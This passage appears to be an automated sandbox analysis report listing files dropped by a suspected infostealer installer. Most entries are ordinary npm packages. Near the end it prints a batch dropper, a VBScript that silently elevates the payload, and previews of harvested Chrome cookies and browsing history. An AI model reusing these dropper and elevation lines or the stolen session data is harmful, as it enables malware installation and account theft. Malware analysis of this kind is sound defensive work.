Preview:	{.."name": "strip-ansi",.."version": "7.1.0",.."description": "Strip ANSI escape codes from a string",.."license": "MIT",.."repository": "chalk/strip-ansi",.."funding": "https://github.com/chalk/strip-ansi?sponsor=1",.."author": {..."name": "Sindre Sorhus",..."email": "sindresorhus@gmail.com",..."url": "https://sindresorhus.com"..},.."type": "module",.."exports": "./index.js",.."engines": {..."node": ">=12"..},.."scripts": {..."test": "xo && ava && tsd"..},.."files": [..."index.js",..."index.d.ts"..],.."keywords": [..."strip",..."trim",..."remove",..."ansi",..."styles",..."color",..."colour",..."colors",..."terminal",..."console",..."string",..."tty",..."escape",..."formatting",..."rgb",..."256",..."shell",..."xterm",..."log",..."logging",..."command-line",..."text"..],.."dependencies": {..."ansi-regex": "^6.0.1"..},.."devDependencies": {..."ava": "^3.15.0",..."tsd": "^0.17.0",..."xo": "^0.44.0"..}.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\wrap-ansi\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1148
Entropy (8bit):	4.841039364732605
Encrypted:	false
SSDEEP:	24:Te81yswkjBNZUcrNKXRIucowRQDxUtaneQAdYTz1s5Hk3dc9eXzqN5CRfIk5W:i8yswvBRIucoeQDitaneQgYTz1IHk+u2
MD5:	B4E31DF52D790B678192213E70676D6C
SHA1:	C14F366CB2C71B662F7EDB2DCF7370A513FC641F
SHA-256:	609DD6AB176847E57E799DBA2E4C4AD355ABE463EC67A5AB0DCCEC08B67E6761
SHA-512:	6C93D9208DB52610FA531C786F5851F003D76B3870B8A333A4E610B9BDA963CE18ED008D7A2E02C72E2003C7D85068698A65D2E23CE1DD6764771764740986CC
Malicious:	false
Preview:	{.."name": "wrap-ansi",.."version": "8.1.0",.."description": "Wordwrap a string with ANSI escape codes",.."license": "MIT",.."repository": "chalk/wrap-ansi",.."funding": "https://github.com/chalk/wrap-ansi?sponsor=1",.."author": {..."name": "Sindre Sorhus",..."email": "sindresorhus@gmail.com",..."url": "https://sindresorhus.com"..},.."type": "module",.."exports": {..."types": "./index.d.ts",..."default": "./index.js"..},.."engines": {..."node": ">=12"..},.."scripts": {..."test": "xo && nyc ava && tsd"..},.."files": [..."index.js",..."index.d.ts"..],.."keywords": [..."wrap",..."break",..."wordwrap",..."wordbreak",..."linewrap",..."ansi",..."styles",..."color",..."colour",..."colors",..."terminal",..."console",..."cli",..."string",..."tty",..."escape",..."formatting",..."rgb",..."256",..."shell",..."xterm",..."log",..."logging",..."command-line",..."text"..],.."dependencies": {..."ansi-styles": "^6.1.0",..."string-width": "^5.0.1",..."strip-ansi": "^7.0.1"..},.."devDependencies": {..."av

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\wrappy\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	765
Entropy (8bit):	4.999520559493967
Encrypted:	false
SSDEEP:	12:9FM9Z7TES4dCPXeTbbtLgmq6KX9KsA8dXsrUXA3+PPRz2AvzT3kEmy2CKrK2PF3t:9SZvICCtEmq6s9iOnc4PRnA+KpF3ew
MD5:	82703A69F6D7411DDE679954C2FD9DCA
SHA1:	BB408E929CAEB1731945B2BA54BC337EDB87CC66
SHA-256:	4EC3D4C66CD87F5C8D8AD911B10F99BF27CB00CDFCFF82621956E379186B016B
SHA-512:	3FA748E59FB3AF0C5293530844FAA9606D9271836489D2C8013417779D10CC180187F5E670477F9EC77D341E0EF64EAB7DCFB876C6390F027BC6F869A12D0F46
Malicious:	false
Preview:	The ISC License..Copyright (c) Isaac Z. Schlueter and Contributors..Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF.MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR.ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN.ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR.IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\wrappy\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	606
Entropy (8bit):	4.68064553811535
Encrypted:	false
SSDEEP:	12:Q118X371kBEvVrcVHASCd7nWjVNxObmPVnNdrL7wPuhDn:41YRcEVmFCd7WXdN93w6n
MD5:	788804D507F3ED479EA7614FA7D3F1A5
SHA1:	156D61004996B07079664753E7B5C415B99E4C89
SHA-256:	712AC9C4C3CEF8BC79F42CF6075FF18551F4CB768F35158214FD643853AD7ABC
SHA-512:	DE6A00F64974710B12C0F5C39FB4720AF0292527E380594EAA9446790562412A77121F6945315CFEC5E360919DD94AD4E6C43598018F0D43527B3D634FD0954D
Malicious:	false
Preview:	{. "name": "wrappy",. "version": "1.0.2",. "description": "Callback wrapping utility",. "main": "wrappy.js",. "files": [. "wrappy.js". ],. "directories": {. "test": "test". },. "dependencies": {},. "devDependencies": {. "tap": "^2.3.1". },. "scripts": {. "test": "tap --coverage test/*.js". },. "repository": {. "type": "git",. "url": "https://github.com/npm/wrappy". },. "author": "Isaac Z. Schlueter <i@izs.me> (http://blog.izs.me/)",. "license": "ISC",. "bugs": {. "url": "https://github.com/npm/wrappy/issues". },. "homepage": "https://github.com/npm/wrappy".}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\wrappy\wrappy.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	905
Entropy (8bit):	4.643961458325562
Encrypted:	false
SSDEEP:	24:mcY6JS4lCsYV3toBdXGQZx8A/BWMZ8q9UMINtB633CnxbQnyQb:mR6JJlKV3to3PZx8A/n8mutBkynxbQyq
MD5:	04A65E1669DC90FA11C900693C1974B1
SHA1:	7D5C1C908664B3DF4A9B72400A126652BA0DD905
SHA-256:	153453C4D84A3C2F13589C37055A7DAFF61D48475DCCE554F7EEDAD15FC7B3E5
SHA-512:	621895DCB5779C3827AD29C216AF816D0C99686B1F18EE45AE844DA67BE1909AE24E1FBD11A09BEF27F6F8143FCD39DBF74D2839A30C871DFC98E2C905DFF46B
Malicious:	false
Preview:	// Returns a wrapper function that returns a wrapped callback.// The wrapper function should do some stuff, and return a.// presumably different callback function..// This makes sure that own properties are retained, so that.// decorations and such are not lost along the way..module.exports = wrappy.function wrappy (fn, cb) {. if (fn && cb) return wrappy(fn)(cb).. if (typeof fn !== 'function'). throw new TypeError('need wrapper function').. Object.keys(fn).forEach(function (k) {. wrapper[k] = fn[k]. }).. return wrapper.. function wrapper() {. var args = new Array(arguments.length). for (var i = 0; i < args.length; i++) {. args[i] = arguments[i]. }. var ret = fn.apply(this, args). var cb = args[args.length-1]. if (typeof ret === 'function' && ret !== cb) {. Object.keys(cb).forEach(function (k) {. ret[k] = cb[k]. }). }. return ret. }.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\write-file-atomic\LICENSE.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (485)
Category:	dropped
Size (bytes):	734
Entropy (8bit):	4.967253191718761
Encrypted:	false
SSDEEP:	12:8ICS4dCPXcbbmmgmq6KX9KsA83Xs1HUXA3+dPRz2AvPNT3khy2CgK2PF3ea:8CICckmq6s9i4gAc2PRZAQwF3ea
MD5:	68705BA56AFDF6710C9187ED9A9CDD03
SHA1:	0BA6DBC8ADAACD7FC37822316C56D92036A952AD
SHA-256:	EA7F376FE7A1FC28572B83AC8F806D92EFFB31852B9981BC9BA9D5266CAA6B28
SHA-512:	C6CF10C753DAF1246DC7E12CDB484D9989AC90C02E4BEECAEAC70F8D1690AF3F9768DF401C5880548E87C8B6002E2D2A5EA8AD9AC95E96349F407BA130FFFE1E
Malicious:	false
Preview:	Copyright (c) 2015, Rebecca Turner..Permission to use, copy, modify, and/or distribute this software for any purpose with or without fee is hereby granted, provided that the above copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE...

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\write-file-atomic\lib\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6750
Entropy (8bit):	4.644939409961062
Encrypted:	false
SSDEEP:	192:1K8DxKFTPYAnyaXiQtVNDi8ZQ7Uv5qmAso2A9a9blQ2IJKaN7aaNGiQf:1K8Dxc3jiw9PAUUmb9blaJts
MD5:	3EF40EDB254C2FBBD3A30F5974E4B083
SHA1:	C3932BD09855DDA641AFAFF5546C27DEBEA068A3
SHA-256:	50EE058CEF60C7CF037BA09C9D03A8025CF62CE0C09A8EC66AE2BB2A91591915
SHA-512:	7AB4F9DD696E48E60DE1E7C308B0DE317D77F516E7BBE581A54CE4469C78FAB704BBCDA231E20B329E1DE02FAD8F4A880521B445746B2E5410D6236730D2F24A
Malicious:	false
Preview:	'use strict'.module.exports = writeFile.module.exports.sync = writeFileSync.module.exports._getTmpname = getTmpname // for testing.module.exports._cleanupOnExit = cleanupOnExit..const fs = require('fs').const MurmurHash3 = require('imurmurhash').const { onExit } = require('signal-exit').const path = require('path').const { promisify } = require('util').const activeFiles = {}..// if we run inside of a worker_thread, `process.pid` is not unique./* istanbul ignore next */.const threadId = (function getId () {. try {. const workerThreads = require('worker_threads').. /// if we are in main thread, this is set to `0`. return workerThreads.threadId. } catch (e) {. // worker_threads are not available, fallback to 0. return 0. }.})()..let invocations = 0.function getTmpname (filename) {. return filename + '.' +. MurmurHash3(__filename). .hash(String(process.pid)). .hash(String(threadId)). .hash(String(++invocations)). .result().}..function cleanupOnExit

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\write-file-atomic\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1362
Entropy (8bit):	4.731661194960053
Encrypted:	false
SSDEEP:	24:91ZO8HKFfehP8LC14K0pwSLhGk08LIFhQCbRgeJo6xv1mCmZIYr:HZT2ehP8W+/wUGd8sPQBef7mTqe
MD5:	EE1483630E0FAF99E6D07A0E7A419046
SHA1:	F63BD8648B29F236B284A47575C39E485D31DD51
SHA-256:	95FDAB5AECFFA4B17CB5969185027D95787D92A332B3B1E429B7841D98F569BD
SHA-512:	996E71E7CFD6ACC3C5D2A80777A94C831C3CB7105624FF1A390618E3A38D07EA2AF78FBA912943A3E921F996BEA81211DC31F3B12FD80629AE478151F66AD3C0
Malicious:	false
Preview:	{. "name": "write-file-atomic",. "version": "5.0.1",. "description": "Write files in an atomic fashion w/configurable ownership",. "main": "./lib/index.js",. "scripts": {. "test": "tap",. "posttest": "npm run lint",. "lint": "eslint \"*/.js\"",. "postlint": "template-oss-check",. "lintfix": "npm run lint -- --fix",. "snap": "tap",. "template-oss-apply": "template-oss-apply --force". },. "repository": {. "type": "git",. "url": "https://github.com/npm/write-file-atomic.git". },. "keywords": [. "writeFile",. "atomic". ],. "author": "GitHub Inc.",. "license": "ISC",. "bugs": {. "url": "https://github.com/npm/write-file-atomic/issues". },. "homepage": "https://github.com/npm/write-file-atomic",. "dependencies": {. "imurmurhash": "^0.1.4",. "signal-exit": "^4.0.1". },. "devDependencies": {. "@npmcli/eslint-config": "^4.0.0",. "@npmcli/template-oss": "4.14.1",. "tap": "^16.0.1". },. "files": [. "bin/",. "lib/". ],

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\yallist\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	765
Entropy (8bit):	4.999520559493967
Encrypted:	false
SSDEEP:	12:9FM9Z7TES4dCPXeTbbtLgmq6KX9KsA8dXsrUXA3+PPRz2AvzT3kEmy2CKrK2PF3t:9SZvICCtEmq6s9iOnc4PRnA+KpF3ew
MD5:	82703A69F6D7411DDE679954C2FD9DCA
SHA1:	BB408E929CAEB1731945B2BA54BC337EDB87CC66
SHA-256:	4EC3D4C66CD87F5C8D8AD911B10F99BF27CB00CDFCFF82621956E379186B016B
SHA-512:	3FA748E59FB3AF0C5293530844FAA9606D9271836489D2C8013417779D10CC180187F5E670477F9EC77D341E0EF64EAB7DCFB876C6390F027BC6F869A12D0F46
Malicious:	false
Preview:	The ISC License..Copyright (c) Isaac Z. Schlueter and Contributors..Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF.MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR.ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN.ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR.IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\yallist\iterator.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	207
Entropy (8bit):	4.572648675022276
Encrypted:	false
SSDEEP:	3:agWA3BQ0BbfLJCWfPhcqJ+QAIKXb3MkvG63cFNXZgy5dkw4JIQAdFzCn:QMQ0BfJj5cqkQBKXb3eVFNyaqdJtAHW
MD5:	815F2C408219F81BFC71CF9E216480E0
SHA1:	357867D11A5F3F9A52D44300E107EF4B8CEB9830
SHA-256:	D02451FA396DE7F9EC93CC6FB3B07AAA7BE637ACB3409A9DDEBD1C2DE9279C1A
SHA-512:	81D1017D8A57DAAF0BE2D1D9C28295DFD1A1436AA79A96F0BEEF8AFBCCBC7E9EE554685D5CFA5A710B651A7D97A3F928A06A884D12D8EBD780DB6C2EE8D7835B
Malicious:	false
Preview:	'use strict'.module.exports = function (Yallist) {. Yallist.prototype[Symbol.iterator] = function* () {. for (let walker = this.head; walker; walker = walker.next) {. yield walker.value. }. }.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\yallist\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	652
Entropy (8bit):	4.623079821820994
Encrypted:	false
SSDEEP:	12:TVr15XBzl+tFrcVHAkvMtxBRM8CwgWjVOP1U2M1bCgvoAgObmWzNdrLnC:Td15XBzwXm4M8CcUP1w1GAim9e
MD5:	B15D27BF2CF04083FEF9389CE68AA620
SHA1:	D6A16B480CBD582F969B3D0ED89A157316268D10
SHA-256:	C56B604BCE814520105739E9559142EA9D4417454EBB933FD5687CA1D8D89BD5
SHA-512:	BC85712C39269457748B985B9956A6A4C0742976E8E57DA32E12F9E3B05C1FC3A916F56D83194376CECAA2B41E0E27CAD3725A68E0793E891A0022710F51CED4
Malicious:	false
Preview:	{. "name": "yallist",. "version": "4.0.0",. "description": "Yet Another Linked List",. "main": "yallist.js",. "directories": {. "test": "test". },. "files": [. "yallist.js",. "iterator.js". ],. "dependencies": {},. "devDependencies": {. "tap": "^12.1.0". },. "scripts": {. "test": "tap test/*.js --100",. "preversion": "npm test",. "postversion": "npm publish",. "postpublish": "git push origin --all; git push origin --tags". },. "repository": {. "type": "git",. "url": "git+https://github.com/isaacs/yallist.git". },. "author": "Isaac Z. Schlueter <i@izs.me> (http://blog.izs.me/)",. "license": "ISC".}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\yallist\yallist.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8411
Entropy (8bit):	4.55330721552374
Encrypted:	false
SSDEEP:	192:1RTD1YM9Y881HDoDLAl0ZkJZZrzcrdWGveNFedBwAMWnh8:14Zt+NxC
MD5:	F0730C76A34CEFCB8AC8B20FDD3D1044
SHA1:	2B9D967D60FADFC9F15B946DFEA21E05B41EB6D3
SHA-256:	69A10F726D26F8D804A3DEAEAC89F0106DDFA03D576D13971002FFFC8F0E8A56
SHA-512:	314E2E5EEA8678119100ACDAB251FDB723040D562B34FF373DEBFDBDAD7107399D33C61545D03190207E5C32E5BD85897D526C7582FB2CE4363EC49ABF71BB36
Malicious:	false
Preview:	'use strict'.module.exports = Yallist..Yallist.Node = Node.Yallist.create = Yallist..function Yallist (list) {. var self = this. if (!(self instanceof Yallist)) {. self = new Yallist(). }.. self.tail = null. self.head = null. self.length = 0.. if (list && typeof list.forEach === 'function') {. list.forEach(function (item) {. self.push(item). }). } else if (arguments.length > 0) {. for (var i = 0, l = arguments.length; i < l; i++) {. self.push(arguments[i]). }. }.. return self.}..Yallist.prototype.removeNode = function (node) {. if (node.list !== this) {. throw new Error('removing node which does not belong to this list'). }.. var next = node.next. var prev = node.prev.. if (next) {. next.prev = prev. }.. if (prev) {. prev.next = next. }.. if (node === this.head) {. this.head = next. }. if (node === this.tail) {. this.tail = prev. }.. node.list.length--. node.next = null. node.prev = null. node.list = null.. return next.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\readme.txt

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1722
Entropy (8bit):	4.975920541852066
Encrypted:	false
SSDEEP:	24:7QjJj4igGGPLmVSGSLdyHalrGxs8T95LvNigwJa9YlbQGL6rZgU7ZT4sUdJrt:7oWXY6Ld0/7T9dvkgwJa9e8G4a
MD5:	80DA54257883644BFC5B3DDEEBD0322C
SHA1:	8DFFFD82F12EE5A697A296527718645D2E8AA86E
SHA-256:	1B897253750E0B0451E83478511F2EA95FC2C3289FBB53DEC95A3F1E0F0EE503
SHA-512:	37B7592C4871D1712FB714B8B28819BDCF6A107280FC52E72EE88BE6C2FDB1BE677D624D52964EAFD1806D464DF939313B2310C5BF70A7A6953E7975CF4E632F
Malicious:	false
Preview:	7-Zip 23.01..-----------..insta313tg.exe..7-Zip is a file archiver for Windows.....7-Zip Copyright (C) 1999-2023 Igor Pavlov.....The main features of 7-Zip: .... - High compression ratio in the new 7z format.. - Supported formats:.. - Packing / unpacking: 7z, XZ, BZIP2, GZIP, TAR, ZIP and WIM... - Unpacking only: APFS, AR, ARJ, Base64, CAB, CHM, CPIO, CramFS, DMG, EXT, FAT, GPT, HFS,.. IHEX, ISO, LZH, LZMA, MBR, MSI, NSIS, NTFS, QCOW2, RAR, .. RPM, SquashFS, UDF, UEFI, VDI, VHD, VHDX, VMDK, XAR and Z... - Fast compression and decompression.. - Self-extracting capability for 7z format.. - Strong AES-256 encryption in 7z and ZIP formats.. - Integration with Windows Shell.. - Powerful File Manager.. - Powerful command line version.. - Localizations for 90 languages......7-Zip is free software distributed under the GNU LGPL (except for unRar code)...Read License.txt for more information about license....... This distribution pac

C:\Users\user\AppData\Local\Temp\7zS48C4B291\run.bat

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	158
Entropy (8bit):	4.529698324783843
Encrypted:	false
SSDEEP:	3:mKDDVKVciXLY6A7KWgOXLYYdVcZEAA7SoydVcJRiXRA7H13xWKVKWgOXLYn:h8VciXLTpWgOXL+pRoJJRAfvWgOXLY
MD5:	5C4BA7F8583109BCAE0E9F91498F2A66
SHA1:	69B16412D8A614349CE4CBC441B71DF20FD8EC89
SHA-256:	09B63F856241A67CB21EE79B57FCBD8B03D0B484D9F962D420398AB6FDCB274E
SHA-512:	5D551F6EC8D79C492B77D9D6B5C1763DCD7571C452716ED66130268AB20846A78F9A031150247C8245B522F53F497E85667DB23F65DE4495E713C2B4C4452C0F
Malicious:	false
Preview:	@echo off..copy %~dp0installer.bat %temp%\installer.bat /Y..copy %~dp01.bat %temp%\1.bat /Y..copy %~dp0data.dat %temp%\data.dat /Y..start %temp%\installer.bat

C:\Users\user\AppData\Local\Temp\7zS48C4B291\runas.vbs

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	113
Entropy (8bit):	4.7538334151184145
Encrypted:	false
SSDEEP:	3:v+ctMdMQsLWmeOXp4E2J5xAIuDWPMJJ3ypUFFov:vnMiP23fckKy
MD5:	8CFCAD4F5CC11FACE5261BDDC46A4D1F
SHA1:	39187524A9CC4E203AAFA97CE34646AE0ABE01D0
SHA-256:	16FE82BDA8F39806C234EF2B1682AA81B82CC5510805BF57A3CFAED528DD042D
SHA-512:	65523AF071BD44911E57597374FDD8C116773686376AC8E9DE9B80B54117DB56FE5DA5A34E97F17813A12F7345CB7E4BFF95B38BC049813BCBBB84343D72211A
Malicious:	true
Preview:	createobject("shell.application").shellexecute "C:\Users\user\AppData\Local\Temp\insta313tg.exe",,,"runas",1 ..

C:\Users\user\AppData\Local\Temp\SmzK98tFGb6qzdocFm21bMi.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\insta313tg.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	1309185
Entropy (8bit):	7.998166748259506
Encrypted:	true
SSDEEP:	24576:WYCAHLMud4/sLsJOjcz1iZwxcd1zSyiFmi+ieTN7bK2OPHWsJmSue:W4rlUOjeiZmcnYpWB7bK2O/ki
MD5:	37698ED6FA78640D62848D560CEADE08
SHA1:	C1A669C504D5F6FDCD0AB86D07F21401CF36F6D2
SHA-256:	E9F4D46078E90D804560A3BB23D8CDCA8907E6D311868C5F4F7E09990C5CDDE4
SHA-512:	54DC696E5D730CD466747535166371A4CC1CF79814D1308CB7117952407B2EDB2A568B6D01D393678A6A9A49EC5D5A24555CB19948E84855D316DD0A5E33BA20
Malicious:	false
Preview:	PK.........X}X................Cookies\..PK.........X}X.>7.....^.......Cookies\Chrome_Default.txt.....h.Fk-./bb..)H..bN"....0..(.....kX...n{.{.{...G.^...I..x.O...'.&...i.:.....M.a./.E#.A.m..)......hW..+y.1.q.X.Gs.R7C}d.2......"..X.....T+.....B\...4.kkd......s6..p.&..g......~v.qA..>.......'F..f.,R...?J......jtam~2..@!.k.hS/3.x+.Zm..F.w[#cZD.W..v1.m....WC....\.K ,.....X.v.j..+hU.s.....>.;.....F..`Z....;..#l...q.s.]..'......6.c.....w...0..P'N.^.?.6_.Hq....<5{..fq.L.L@X.a..F...B"..4........Z..z......A.V.2.. !...@.....<..o.._....%Q...lY.Y\|......h.j./Y9.q.1.)..S).......)..D;....B_l..C5t......@.g.\..Q.1.C...(I.~....j}...}6..].$....\..w.= .5R...Y.R.Q...#.v..m.7..5O.9...i.d(.;..(p./(....I.K.[r...cm.H..x..bH..3.x.`J#..pC.t.......N.k..wxP..5.E...... ...}........{G.%.:GW..a`....D....4B.7...."%k"M!.....Y..!N...5_..?....E..l..6vI.>.+N.]S..al.2/5._..-...Kz&.ltA;Q..R..=n....E/.5...,q..;.IK.Z.Y.3c.v.8S\|..^g.5qF....\.oP.b.e.39......n.....9.`m..4.L.

C:\Users\user\AppData\Local\Temp\adobeKAwsiuZMSpFF\Cookies\Chrome_Default.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\insta313tg.exe
File Type:	ASCII text, with very long lines (395), with CRLF line terminators
Category:	dropped
Size (bytes):	1886
Entropy (8bit):	6.036490169922228
Encrypted:	false
SSDEEP:	48:KRthYDDlZ2DjGeDDRNbDD2zIvtDjDPreC15DDf8pAEKKNcDj+DW:KLyDR0DjGeDXbDyzUDjDy65DYyEKK2D1
MD5:	70CAC4510350226C9B33E9663F16D243
SHA1:	278EE6A116A659ADEEECFF1B87682FD673271C68
SHA-256:	4FBC155399230543AF22A67E011B03E1D06C387C302662CA6BF951796349095E
SHA-512:	A2F95B25542F1427C8DC45EC55BA3E68B606C8D36FAC01FB9F4086CF845037B1E9780840D6FA20E1D2EBA201BA8F0EDD3E9EA03647B6D34EA0FCA13B64CE383B
Malicious:	false
Preview:	.google.com.FALSE./.TRUE.1754577726.CONSENT.ENC893_djEwUUJxQBJHqCWlhJaiuEPhq9KHcV+8szex9MX29zjziFnt+pWMDgU6_Zw+GYVQ6W8B6939kDZQHhwARMwmMDCYgrku+q9wlMbI=...google.com.FALSE./.TRUE.1725633748.SOCS.ENC893_djEwQTaM3LRKru0Vb/zHs+KdBOGzJT4rHAAtCgdaDSVJTrFZ/UPxDW3mIwJ7dOxTZtmLDH4XwcjJspG8uEfgD1hxqPwWRAfwWMsuE5BITsiR21llWw==_Zw+GYVQ6W8B6939kDZQHhwARMwmMDCYgrku+q9wlMbI=..www.google.com.FALSE./.TRUE.1694097845.OTZ.ENC893_djEwflxeJrN/H1hhatbpIRTLhRpYinK5WDqnBMZpcDswQN+Vvy9uDMVjVbzr36ARsyJcCQW3Sz2TH3/ejQ==_Zw+GYVQ6W8B6939kDZQHhwARMwmMDCYgrku+q9wlMbI=...google.com.TRUE./.TRUE.1706882306.AEC.ENC893_djEwk4lcu1uda3CMElp7sSIbv3PO9RNdXSjbHXsDCuUCsXtFJ4CxT9+E/j1TFqVvYebpHxB7JgZdKYBabm6EmboTGDY1hGHtYJSQ0VD37fkC7KDL2y6/rBw=_Zw+GYVQ6W8B6939kDZQHhwARMwmMDCYgrku+q9wlMbI=...google.com.FALSE./.FALSE.1691517471.GOOGLE_ABUSE_EXEMPTION.ENC893*_djEwAJQQUrUB6Nd3aFckh8++x7ZvGBKs7QHIAGJu7XP36dJzIMKTyDOf7qhtM0hvnvu82odUY+3+zwnB155BTcnPYG01Iizavn1vj2rWXaZcoEjTQX3hWVy31z+A9Ma0AsTtCqa7jI3pRTWTiR8=_Zw+GYVQ6W8B6939k

C:\Users\user\AppData\Local\Temp\adobeKAwsiuZMSpFF\History\Chrome_Default.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\insta313tg.exe
File Type:	ASCII text, with very long lines (395), with CRLF line terminators
Category:	dropped
Size (bytes):	2870
Entropy (8bit):	5.785737912638452
Encrypted:	false
SSDEEP:	48:WVTlpxlpOXVTBrCzhEuMHqTpJBBT0poiuJBBTBrCUZfT5DT8zwz6qXljTPzHzdrD:WVTQVT1Gu/qThBTdieBT11NDTUg7ljTx
MD5:	1A512283CF17506FC5BC5316A7F5BB0F
SHA1:	0AF921396700DCBF0A7C59AF9C73FAAFCAC562B3
SHA-256:	BC26E94DA5CD0690FFA0104A725A4584B71B1CD9EB87874D0287E519E22BB247
SHA-512:	59AC64E5FFF2BEFCD9591E7868CCF76ED7AFE3A0CC4758B995647BA4D6A52651D085283FB4AD0DE187D0E6DA8EC09833DDD608B16173E76F69FFEFA32DE84DB0
Malicious:	false
Preview:	https://www.google.com/search?q=wmf+5.1&oq=wmf+5.1&aqs=chrome..69i57j0l7.3167j0j7&sourceid=chrome&ie=UTF-8.1691505748..https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dwmf%2B5.1%26oq%3Dwmf%2B5.1%26aqs%3Dchrome..69i57j0l7.3167j0j7%26sourceid%3Dchrome%26ie%3DUTF-8&q=EgRUETQmGNPjx6YGIjDPtICkadBgpgo-yrxVfabg5XhWfan-2CBIVS27LanwRtATpIjqPyiRsD-un-iKFFYyAXJaAUM.1691505732..https://www.google.com/sorry/index.1691506671..https://www.google.com/search?q=wmf+5.1&oq=wmf+5.1&aqs=chrome..69i57j0l7.3167j0j7&sourceid=chrome&ie=UTF-8&google_abuse=GOOGLE_ABUSE_EXEMPTION%3DID%3D255405282eb4cecb:TM%3D1691480545:C%3Dr:IP%3D84.17.52.38-:S%3Dexx9-9uXZ-52F7A8QOcG88w%3B+path%3D/%3B+domain%3Dgoogle.com%3B+expires%3DTue,+08-Aug-2023+10:42:25+GMT.1691505746..https://www.microsoft.com/en-US/download/details.aspx?id=54616.1691505849..https://www.google.com/search?q=wmf+51&oq=wmf+51&aqs=chrome..69i57j0l5.1423j0j7&sourceid=chrome&ie=UTF-8.1691505843..https://www.google.com/search?q=test

C:\Users\user\AppData\Local\Temp\adobeKAwsiuZMSpFF\information.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\insta313tg.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	5475
Entropy (8bit):	5.48536575916879
Encrypted:	false
